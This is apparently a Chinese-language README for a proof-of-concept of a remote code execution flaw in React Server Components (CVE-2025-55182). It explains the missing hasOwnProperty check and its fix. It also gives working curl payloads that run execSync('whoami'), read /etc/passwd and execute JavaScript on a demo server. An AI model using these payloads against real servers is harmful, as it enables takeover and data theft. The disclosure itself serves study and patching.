
一个真实的POC,演示了在 [email protected] 中缺少的 `hasOwnProperty` 检查
一个最小的概念验证,展示了 [email protected] 中的严重远程代码执行漏洞。
一个预认证的 RCE 漏洞,存在于 React 服务端组件中,攻击者可以在使用易受攻击的 react-server-dom-webpack 包(版本 19.0.0 - 19.2.0)的服务器上执行任意代码。
CVSS 评分: 10(严重)
react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0hasOwnProperty 检查漏洞存在于 React 的 Flight 协议实现中的 requireModule 函数中。该函数根据从客户端请求接收到的元数据加载模块导出。
易受攻击的代码 ([email protected]):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
return moduleExports[metadata[NAME]]; // <-- 没有验证!
}
问题在于:metadata[NAME] 来自用户输入(HTTP 请求)。攻击者可以指定任何模块和导出名称,例如 child_process#execSync。
修复后的代码 ([email protected]+):
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js
import hasOwnProperty from 'shared/hasOwnProperty';
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = __webpack_require__(metadata[ID]);
if (metadata[NAME] === '*') {
return moduleExports;
}
if (metadata[NAME] === '') {
return moduleExports.__esModule ? moduleExports.default : moduleExports;
}
// 已修复:验证导出确实存在
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
}
修复添加了 hasOwnProperty.call(),确保请求的导出是模块的自有属性,而不是从原型链继承或可动态解析为危险模块的属性。
$ACTION_REF_0 和 $ACTION_0:0 字段$ACTION_0:0 包含 {"id":"child_process#execSync","bound":["whoami"]}decodeAction 解析该内容,并使用攻击者控制的元数据调用 requireModulerequireModule 返回 require('child_process').execSynccd CVE-2025-55182-realistic-poc/
npm install
npm start
# 启动在 http://localhost:3000
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
预期输出:
{"success":true,"result":"your-username\n"}
# 读取文件
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# 执行 JavaScript
curl -X POST http://localhost:3000 \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'
decodeAction 流程HTTP 请求
│
▼
┌─────────────────────────────────────────────────────────────┐
│ decodeAction(formData, serverManifest) │
│ - 解析 $ACTION_REF_0 以查找 action 引用 │
│ - 解析 $ACTION_0:0 以获取 {id, bound} │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ loadServerReference(serverManifest, id, bound) │
│ - id = "child_process#execSync" (攻击者控制) │
│ - bound = ["whoami"] (攻击者控制) │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ resolveServerReference(bundlerConfig, id) │
│ - 将 "child_process#execSync" 拆分为: │
│ specifier = "child_process" │
│ name = "execSync" │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ requireModule(metadata) [存在漏洞] │
│ - 加载 require("child_process") │
│ - 返回 moduleExports["execSync"] │
│ - 未验证 "execSync" 是否应可访问 │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ action = execSync.bind(null, "whoami") │
│ result = action() → 在服务器上执行 "whoami" │
└─────────────────────────────────────────────────────────────┘
MIT